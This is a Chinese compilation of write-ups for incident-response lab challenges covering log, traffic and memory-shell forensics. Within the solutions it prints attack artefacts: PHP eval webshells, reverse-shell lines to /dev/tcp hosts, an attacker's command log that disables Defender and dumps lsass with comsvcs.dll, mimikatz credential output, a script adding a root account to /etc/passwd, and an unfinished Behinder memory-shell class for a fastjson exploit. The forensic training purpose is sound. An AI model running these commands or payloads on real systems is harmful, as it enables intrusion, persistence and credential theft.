登录成功之后的日志 可以看到,这小子登录成功之后,先是尝试了一波 wordpress 自定义主题修改模块 用过 wordpress 的应该比较清楚,wordpress 的自定义主题修改模块存在非常多的漏洞。如:命令执行、代码注入、文件上传等 在自定义主题模块,尝试 theme-editor 主题编辑器,修改了一个 post.php 的文件,然后在后面,又调用 x.php 文件执行了 cmd 命令。 所以: post.php 和 x.php 这两个文件,应该是接下来的重点。 而 x.php 的参数为 cmd,也就是说,flag4 中需要的后门文件,应该就是它,上服务器,找到完整路径即可。 它是在 url 中用 get 请求访问的,所以直接在 web 的目录下找就行了。 ▲ .x.php 的路径 特喵的 ~ flag4 我提交了 3 次都提示错误,搞得我都要怀疑人生了。 才发现,人家是 .x.php 呀,前面还有个 "点" 呢?怪我眼瞎咯... flag4:恶意后门文件完整名称 flag{C:\phpstudy_pro\WWW.x.php} 至于 flag5,隐藏在 web 正常应用中的 恶意代码,嚯,这小子刚才在那儿调用 theme-editor 主题编辑器修改 post.php, 想都不用想,肯定在干坏事。 ▲ post.php 中的恶意代码 flag5:隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径) C:\phpstudy_pro\WWW\usr\themes\default\post.php 最后一只 flag,可疑进程自启动的脚本名称。 总算是上了一丢丢小难度,没办法直接在日志里面找了。 靶场时间还快到了,最后一个 flag 了,害,续费 5 金币吧。 继续,emmm,先看一眼自启动文件夹 ▲ Windows 的 Startup 目录 空的,看来不在这儿。 只有一个 C 盘,自启文件能放哪儿去,也没几个目录,点开 Windows,按修改时间排序。 这不,惊喜就来了嘛。 一个诡异的 360.exe,一个熟悉的 x.bat ▲ 疑似自启脚本 打开这个 x.bat 看一下内容,基本没跑了,大概率这个 x.bat 就是自启脚本了。 但目前还没有证据而已。 ▲ x.bat 的内容 反正是做题嘛,试着提交一下,又不扣分。 flag6:自启脚本的名字(这个又不要完整路径了...) flag:{C:\Windows\x.bat} *flag:{x.bat}* *果然,蒙对了...* ▲ 搞定,完成挑战 看着这个倒计时就来气... 还有 40 多分钟... 算了,花了钱的.. 接着找找 x.bat 自启动的原理吧。 计划任务、自启任务啥的看了一眼,没什么发现,最终放大招,直接在注册表,发现了这个。 ▲ 注册表中的自启任务 根据注册表的路径,可以看出,这是组策略里面的自启任务,于是,上组策略里面确认一下。 第五章 linux实战-挖矿Writeup 一、简介 靶机名:第五章 linux实战-挖矿 靶机账号/密码:root/websecyjxy 二、题目 应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组。 1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1} 2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24} 3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass} 4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd} 5、排查出黑客进行挖矿的痕迹,获取最终的Flag。 三、WriteUp 1、在以下文件获取到网站访问日志,分析可得出在进行目录扫描操作,即可获取黑客的IP: /www/admin/websec_80/wwwroot/nginx_access_2023-12-22.log 2、分析日志发现黑客访问了/dede路径,判断dedecms搭建,使用弱口令登录后台, 后台地址:/dede 账号:admin 密码:12345678 在系统用户管理功能发现黑客创建的hacker用户,登录时间即为黑客攻陷网站的时间, 3、将网站源代码打包下载到本地,然后使用D盾进行分析,得到黑客上传的webshell, webshell是加密的,使用echo即可获取原始php代码, 即可获知webshell名称及密码: //运行以下php代码: <?php echo(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))) ?> //结果: eval($_POST['cmd']); 4、查看root用户的历史命令,发现find被赋予了suid权限,黑客可以使用suid提权做后门, 黑客执行以下命令即可从服务权限提升到root权限,即find文件被做了后门, find / -exec 任意命令 {} \; 5、挖矿木马一般以计划任务方式下载执行,查看root用户的计划任务, 常规命令无法查询,可以获取/etc/crontab文件内容查看所有的计划任务,分析得出黑客通过curl命令访问三个外部的恶意URL,之后再使用wget命令来下载其可执行文件ldm, 可知挖矿木马的名称为ldm,查找挖矿木马在本机上的位置, 下载到本地进行分析,均为挖矿木马的功能函数代码,逐行进行分析, 在691行的一段python代码比较可疑,进行base64解码, nohup python2 -c "import base64;exec(base64.b64decode('aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19UcnVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='))" >/dev/null 2>&1 即可获得最终的flag,解码内容如下: import time while 1: print("flag{websec_True@888!}") time.sleep(1000) 四、flag 1、黑客的IP是? flag{192.168.10.135} 2、黑客攻陷网站的具体时间是? flag{2023-12-22 19:08:34} 3、黑客上传webshell的名称及密码是? flag{404.php-cmd} 4、黑客提权后设置的后门文件名称是? flag{/usr/bin/find} 5、排查出黑客进行挖矿的痕迹,获取最终的Flag。 flag{websec_True@888!} 第五章 linux实战-挖矿 二 1.找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交; 直接输入alias命令查看当前所有的别名 答案:flag{userdel} 找出系统中被植入的后门用户删除掉,并将后门用户的账号作为Flag值提交(多个用户名之间以英文逗号分割,如:admin,root); 直接查看etc/passwd文件,查看所有的账户 答案:flag{sclipicibosu} 找出黑客在admin用户家目录中添加的ssh后门,将后门的写入时间作为Flag值(提交的时间格式为:2022-01-12 08:08:18) 直接进入/home/admin目录,然后执行ls -al即可看到.ssh目录,通常是存放当前用户ssh 私钥的目录,然后执行stat authorized_keys 答案: flag{2022-09-14 15:04:47} 找出黑客篡改过的环境变量文件,将文件的md5值作为Flag值提交; 进入root用户的家目录cd ~ 然后查看当前目录下的环境变量文件.bashrc, 然后执行 -bash-4.2# md5sum .bashrc d847ea4b317c880c3854418503d11470 .bashrc 答案:flag{d847ea4b317c880c3854418503d11470} 找出黑客修改了bin目录下的某个文件,将该文件的格式作为Flag值提交 执行命令ls -lt /usr/bin | head -n 10 查看/usr/bin最近改动的前十个文件 注意时间,这个文件是黑客攻击之后改动的一个文件,所有大概率是这个文件了,对不对尝试提交一下就知道了 -bash-4.2# file /usr/bin/sshd /usr/bin/sshd: ASCII text -bash-4.2# 答案:flag{ASCII text} ** 找出黑客植入系统中的挖矿病毒,将矿池的钱包地址作为Flag值(提交格式为:0xa1d1fadd4fa30987b7fe4f8721b022f4b4ffc9f8)提交** 在/home/admin目录下有一个奇怪的文件,cat一下就能可能答案了 答案: flag{0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8} 第五章 linux实战-CMS01 题解 登录虚拟机: 修改面板密码 提交攻击者IP 答案:192.168.20.1 查看宝塔日志即可 用的net直接是网关 提交攻击者修改的管理员密码(明文) 答案:Network@2020 查看数据库表(x2_user) 发现passwod加密在代码中寻找加密逻辑并进行逆推 提交第一次Webshell的连接URL 答案:index.php?user-app-register 登录后台后发现木马写在了注册协议,注册协议的路由为user-app-register 提交Webshell连接密码 答案:Network2020 提交数据包的flag1 答案:flag1{Network@_2020_Hack} 下载root下的数据包 追流可以发现flag1 提交攻击者使用的后续上传的木马文件名称 答案:version2.php 经典的冰蝎Webshell特征 提交攻击者隐藏的flag2 答案:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9} 在/www/wwwroot/127.0.0.1/.api/alinotify.php 提交攻击者隐藏的flag3 答案:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} 第五章 Windows 实战-evtx 文件分析 1.将黑客成功登录系统所使用的IP地址作为Flag值提交; 筛选安全日志4624,登录成功,找最早登录的 flag{192.168.36.133} 2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交; 筛选安全日志4781,账户名称已更改 旧账户名:Administrator 新账户名:Administratro flag{Adnimistartro} 3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交; 筛选安全日志4663,尝试访问对象检测未经授权访问文件和文件夹的行为 flag{SCHEMA} 4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交; 根据上述黑客攻击的时间段,为2020年10月8日 筛选应用程序日志记录时间为2020年10月8日,来事件源为MySQL CTRL+F 搜索start,定位到最后一次启动数据库,进程为8820 flag{8820} 5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。 筛选系统日志1074,计算机开机、关机、重启的时间、原因、注释 计算机为WIN-B1B1T3K57G9 CTRL+F 搜索Administratro,找对成对的记录,2次重启,1次关机 flag{3} 参考:windows安全事件查看及安全事件id汇总 https://blog.csdn.net/qq_45825991/article/details/115577680 第五章 linux实战-黑链 找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx} 访问首页 搜索"黑链" flag{/var/www/html/usr/themes/default/header.php} webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/} D盾扫一下 flag{/var/www/html/usr/themes/default/404.php} 黑客注入黑链文件的 md5 md5sum file flag{md5} 感觉更准确应该是注入Webshell的文件 flag{10c18029294fdec7b6ddab76d9367c14} 攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/} 发现写入Webshell的是js文件,可能存在XSS漏洞。搜索一下 找到这个 https://blog.mo60.cn/index.php/archives/Typecho-1-2-xss2rce.html 环境给了流量包 output.pcap 搜索发现 /index.php/archives/1/ 嵌入了poc1.js flag{/index.php/archives/1/} 第六章 蚁剑流量分析 蚁剑连接密码 黑客执行的第一个命令是什么 因为找的是第一个命令,所以从第一个流中查看 url解码后,根据蚁剑的特性,传参的第三位开始才是真正的参数,将其复制base64解码 读取了哪个文件内容 在第三个流中看到linux的账号信息,同样的操作,url解码,base64解码获取到原始命令(这里也是很显然这就是读取的文件内容,这个内容是/etc/passwd的) 黑客上传了什么文件到服务器 文件内容是什么 在第四个流中发现服务器返回一个莫名其妙的东西,根据蚁剑特性很可能就是文件上传成功,重复之前的操作,url解码 蚁剑上传文件,它的文件内容会被16进制编码,第一个和第二个参数分别进行解码 下载的文件名是什么 在第六个流中发现了文件内容 url解码后发现存在尝试打开文件读取的操作 base64解码找到下载文件 第六章 流量特征分析-蚂蚁爱上树 前言:题目可知攻击者对服务器进行了权限提升、权限维持的工作,所有我们要复原出所有的攻击流量。 下面我 列出了攻击者的所有行为,具体如何解包不详细展开。 C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql C:/ cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&ls&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&whoami&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&whoami /priv&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&systeminfo&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net group "domain group" /domain&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net group "domain admins" /domain&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net view&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net share&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&ls&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&copy store.php c:\temp&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRealtimeMonitoring $true&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Get-MpComputerStatus&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E] C:/phpStudy/ C:/Temp/ C:/Temp/OnlineShopBack.zip C:/Windows/ C:/Windows/Temp/ cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&dir c:\windows\system32&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\windows\config&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net localgroup administrators admin /add&echo [S]&cd&echo [E] cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E 1.由以上36条命令可以知晓,第一题 admin 的密码为 Password1 2.由以上26 条命令可以知晓,第二题 lassa.exe 的进程 id 为852,这里用到了使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存 3.通过流量报文分析,发现转储出了 OnlineShopBackup.zip 文件,该文件存在在了 30 条命令中,我们对其进行导出,使用二进制文件打开发现其为.dmp 文件但无法正常打开,对比常规dmp 文件发现文件头多了e1c1709 这几个字符,删除后文件恢复正常。 4.使用 mimikatz加载 dmp文件: sekurlsa::minidump C:\Desktop\mimikatz_trunk\Win32\test.dmp 5.获取密文: sekurlsa::logonpasswords msv : [00000003] Primary * Username : win101 * Domain : VULNTARGET * NTLM : 282d975e35846022476068ab5a3d72df * SHA1 : bc9ecca8d006d8152bd51db558221a0540c9d604 * DPAPI : 8d6103509e746ac0ed9641f7c21d7cf7 tspkg : wdigest : * Username : win101 * Domain : VULNTARGET * Password : (null) kerberos : * Username : win101 * Domain : VULNTARGET.COM * Password : (null) ssp : credman : cloudap : 6.进行密码碰撞,使用 hashcat 或者在线破解NTLM即可,最终 win101的密码 为 admin#123. 第六章 流量特征分析-waf 上的截段 1、http contains"/admin/login"&&http.request.method==POST 拉到最后找到俩: ip 233的是:hr123456 ,ip 59的是admin!@#pass123 很明显攻击看流量攻击者是ip为59的用户 admin!@#pass123,记住对应数据包:733517 2、data-text-lines contains "flag";这个题出的就是为做题,没啥意义 能找到不少含有flag的网页,只看733517数据包后面的流量 flag:87b7cb79481f317bde90c116cf36084b 3、data-text-lines contains "database" ,有点偷懒了,实战中还是要了解攻击过程进行木马a.php后门账户等清除滴 既然是数据库密码,就搜数据库相关就可以了,开发一般的命名习惯都这样,dbname、dbhost也行 找找就有了:$dbpass = "e667jUPvJjXHvEUv" 第六章-哥斯拉4.0流量分析 1、黑客的IP是什么? wireshark分析 条件设置 http.request , 扫描、漏洞利用行为明显的就是了 flag{---} 2、黑客是通过什么漏洞进入服务器的?(提交CVE编号) wireshark分析发现是通过 tomcat manager PUT上传的,搜索一下相关CVE的是 Apache Tomcat Remote Code Execution via JSP upload (CVE-2017-12615 / CVE-2017-12617) flag{---} 3、黑客上传的木马文件名是什么?(提交文件名) wireshark分析 比较明显 flag{---} 4、黑客上传的木马连接密码是什么? 题目已提示了哥斯拉4.0,找对应文章学习一下就好,抓包里参数名字本身也没有混淆 flag{---} 5、黑客上传的木马解密密钥是什么? 同4 flag{---} 6、黑客连接webshell后执行的第一条命令是什么? https://cyberchef.org/ 根据哥斯拉4.0的特征组装一下流程 请求解密 URL_Decode() From_Base64('A-Za-z0-9+/=',true,false) AES_Decrypt({'option':'UTF8','string':'1710acba6220f62b'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''}) Gunzip() 响应体解密 Find_/_Replace({'option':'Simple string','string':'B333AF03A314E0FB'},'',true,false,true,false) Find_/_Replace({'option':'Regex','string':'0F00BC7E2672E1F5'},'',true,false,true,false) From_Base64('A-Za-z0-9+/=',true,false) AES_Decrypt({'option':'UTF8','string':'1710acba6220f62b'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''}) Gunzip() flag{---} 部分命令应是shell自行拼接的,写分号后面的 7、黑客连接webshell时查询当前shell的权限是什么? flag{---} 8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么? 关注响应体 flag{---} 9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令) flag{dpkg -l libpam-modules:amd64} 10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT) 哥斯拉的命令执行里面翻到的,base64编码的反连 echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d flag{---} 11、黑客通过什么文件留下了后门? 通过哥斯拉上传了文件,并且上机分析,通过history命令可以查到替换了pam_unix.so flag{---} 12、黑客设置的后门密码是什么? 上机分析 pam_unix="evil.so" start="(strings "{pam_unix}" | grep "bad username [%s]" -A 1 | tail -n 1)" end="(strings "{pam_unix}" | grep "auth could not identify password for" -B 1 | head -n 1)" 参考:https://gist.github.com/bcoles/b66c0116daa1d1d2623e0d2a2795304f flag{---} 13、黑客的恶意dnslog服务器地址是什么? wireshark分析,不要忘记把最后的.加上 flag{---} 第六章 流量特征分析-小王公司收到钓鱼邮件 第一题 直接寻找http流量 或者直接Ctrl+F搜索w0ks 找到请求条目后查看相应的response magic code 有PK的就是下载的resp 第二题 将resp请求包的Data段右键,导出分组字节流,保存为zip即可 然后对zip进行md5校验certutil -hashfile <文件拖进来> MD5 第三题 问下载的域名,分析js脚本 先将脚本内的所有注释去掉:/\*.+?\*/替换为空掉就行 然后将最下面的东西去掉,然后对脚本进行分析,他是将所有字符串分割后组装来逃避waf的 所以我们直接搜索字符串+= ':';即可,可以快速找到拼接url的地方,然后将这段代码放在浏览器里执行就可以快速拿到下载地址了 题目答案 flag{tsdandassociates.co.sz/w0ks//?YO=1702920835} flag{f17dc5b1c30c512137e62993d1df9b2f} flag{shakyastatuestrade.com} 第六章 流量特征分析-常见攻击事件 tomcat 1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1} 过滤Http 随便翻翻都可以发现是攻击者ip flag{14.0.0.120} 2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写} https://chaipip.com/aiwen.html flag{guangzhou} 3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222} 过滤manage flag{8080} 4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称} 过滤http后 可以看到下面很多404的 404肯定是用工具进行爆破失败的。直接追踪流 看指纹 flag{gobuster} 5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123} 看流量可以发现对 manager进行了爆破 直接看返回200的上一个 分组20553这一个 追踪流 看请求包 翻下面会发现有一个Authorization字段 解密 flag{admin-tomcat} 6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt} 之前在翻流的时候就发现有反弹shell的相关消息 我们往前追踪 可以发现上一个流上传了一个war包 有经验的人肯定能大概才出来这个就是马 我们直接将其导出来看看 用原始数据查看 war包与zip一样 文件头是 50 4b 03 04 文件尾 50 4B 05 06 找到文件头尾复制下来 然后16进制转字符保存下来 暂时无法在飞书文档外展示此内容 用压缩包打开可以发现有一个jsp文件 暂时无法在飞书文档外展示此内容 Gpt分析一下 flag{JXQOZY.war} 7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息 在9461流里面可以发现将反弹shell的命令写进了定时任务 flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'} 第七章 常见攻击事件分析--钓鱼邮件 一、请分析获取黑客发送钓鱼邮件时使用的IP 在钓鱼邮件的eml文件中搜索from,最后一个from就是黑客发送钓鱼邮件时使用的IP地址:121.204.224.15。 flag{121.204.224.15} 二、请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP 通过Content-Transfer-Encoding: base64得知邮件正文使用的是base64编码。 将邮件正文保存到txt文件中,使用命令cat 邮件正文.txt | base64 -d解码,获得邮件正文内容,得知压缩包到解压密码是:2021@123456。 将邮件附件保存到txt文件中,使用命令cat 钓鱼附件.txt | base64 -d | less解码并查看,从文件开头的PK得知邮件附件是zip压缩包,因为PK是发明zip压缩格式的作者姓名缩写。 使用命令cat 钓鱼附件.txt | base64 -d > 钓鱼附件.zip解码并保存到zip文件中,并用密码解压,最终获得程序:终端自查工具.exe。 将程序上传到上文件沙箱中分析,获得木马程序的控制端IP:107.16.111.57。 flag{107.16.111.57} 三、黑客在被控服务器上创建了webshell,请分析获取webshell的文件名 使用D盾分析/var/www/html/中的文件,发现webshell的文件名:/var/www/html/admin/ebak/ReData.php。 flag{/var/www/html/admin/ebak/ReData.php} 四、黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名 在/var/tmp/proc/my.conf中发现疑似隧道代理的配置。 使用命令./mysql -h查看/var/tmp/proc/mysql程序的帮助信息,确认该程序是隧道程序。 flag{/var/tmp/proc/mysql} 第八章 内存马分析-java01-nacos 1、nacos 用户密码的密文值作为 flag 提交 flag {密文}在 conf/nacos-mysql.sql 文件中找到密码 flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu} 2、shiro 的 key 为多少 shiro 的 key 请记录下来 flag{KduO0i+zUIMcNNJnsZwU9Q==} 3、靶机内核版本为 uname -r flag{5.4.0-164-generic} 4、尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 flag cat /etc/passwd 发现 bt 为最高权限用户,进行删除 userdel b 此用户正在运行一些服务,无法删除。直接修改 /etc/passwd 文件进行删除 5、尝试修复 nacos 并且自行用 poc 测试是否成功8848 端口运行 nacos 服务 扫描出几个漏洞进行逐一修复第一个未授权 http://68.79.11.194:8848/nacos/v1/auth/users?pageNo=1&pageSize=9 在 conf/application.properties 开启鉴权 1 2 3 4nacos.core.auth.enabled=true nacos.core.auth.enable.userAgentAuthWhite=false nacos.core.auth.server.identity.key=key nacos.core.auth.server.identity.value=value 第八章 - 内存马分析 - Java02-Shiro 利用上一题获取的 shiro key 攻击后进行应急 1、将 shiro 的 key 作为 flag 提交 flag{KduO0i+zUIMcNNJnsZwU9Q==} 2、隐藏用户后删除,并将隐藏用户名作为 flag 提交8088 运行着 Shiro 服务cat /etc/passwd flag{guest} 3、分析 app.jar 文件是否存在后门,并把后门路由名称作为 flag 提交添加一个用户利用 ssh 进行连接 #!/bin/bash echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && /etc/init.d/ssh restart echo IyEvYmluL2Jhc2gKCmVjaG8gInN5c3RlbTphZGs2b05Sd3lwRndBOjA6MDpldmFsX3RvX3Jvb3Q6L3Jvb3Q6L2Jpbi9iYXNoIiA+PiAvZXRjL3Bhc3N3ZCAmJiBlY2hvICJQZXJtaXRSb290TG9naW4geWVzIiA+PiAvZXRjL3NzaC9zc2hkX2NvbmZpZyAmJiAvZXRjL2luaXQuZC9zc2ggcmVzdGFydA==|base64 -d > /tmp/ssh.sh` 连接 `ssh system/admin123 下载app.jar文件 使用java反编译软件 jadx 进行反编译 发现这里有漏洞(后门),有一个路由 /exec 接受一个参数 cmd 的传值 if (cmd != null) { if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder("cmd.exe", "/c", cmd); } else { p = new ProcessBuilder("/bin/sh", "-c", cmd); } 获取操作系统名称并将其转换为小写,检查其是否包含 "win" 字符串。如果操作系统是 Windows,则执行 cmd.exe 命令和/c 参数创建一个新的 ProcessBuilder 对象。/c 参数用于告诉 cmd.exe 执行指定的命令并立即终止。如果操作系统不是 Windows,则执行 Unix/Linux shell 命令。使用 /bin/sh 和 -c 参数创建一个新的 ProcessBuilder 对象。-c 参数用于告诉 shell 执行指定的命令。这样会导致任意命令执行,攻击者可以通过 cmd 参数执行任意系统命令 flag{/exec}` 4、分析 app.jar 文件,将后门的密码作为 flag 提交`flag{cmd} 第八章 内存马分析-java03-fastjson fastjson结合c3p0不出网利用打入内存马 1、端口扫描发现8088端口开放,存在web页面。 2、web页面存在一个登录框,请求中去掉一个},发生报错,但未回显fastjson相关字符,推测可能对错误页进行了简单修改。 3、直接探测fastjson版本,依旧没探测到发fastjson相关字段。 4、uniqude编码后再试试,成功回显fastjson版本,可能原因是代码中加了一层waf,过滤了一些如@type字段。 5、Fastjson1.2.47版本以下存在mappings缓存通杀绕过,利用的方式为JNDI,但不要忘了JNDI的利用是有一定条件的: 非严格意义的出网,比如这里我们控制了外网主机,可以使用该主机作为server端提供ldap或rmi 受到JDK版本限制,JDK8u191后受到trusturlcodebase限制远程加载,但也有绕过方法。这里因为机器内JDK版本较高,JNDI注入并不太合适,所以需要找其他利用链。 6、因此下一步探测存在的依赖。利用Character转换报错可以判断存在何种依赖,当存在该类时会报出类型转换错误,否则无显示,同样的,这里@type也需要编码。因此,通过这种方法结合已知的FastJson利用链所需要的依赖类,最终探测服务中存在C3P0依赖。 7、FastJson本身结合C3P0有很多利用方式,其中提的最多的是不出网利用,hex base二次反序列化打内存马。在c3p0+FastJson利用其他文章中介绍的是需要依赖像cc链这样的反序列化链,但其实是不需要的,因为FastJson全版本都存在原生反序列化漏洞,且是通过TemplatesImpl加载类,更加适合。先找一个冰蝎内存马:Tomcat的Filter型内存马,但因为是TemplatesImpl这条链加载字节码,所以需要extends AbstractTranslet并重写两个方法,否则加载不了这个类。编译为IceShell.class: import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder; public class IceShell extends AbstractTranslet implements Filter { private final String pa = "3ad2fddfe8bad8e6"; public IceShell() { } public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest)servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); Map<String, Object> pageContext = new HashMap(); pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response); ClassLoader cl = Thread.currentThread().getContextClassLoader(); if (request.getMethod().equals("POST")) { Class Lclass; if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if 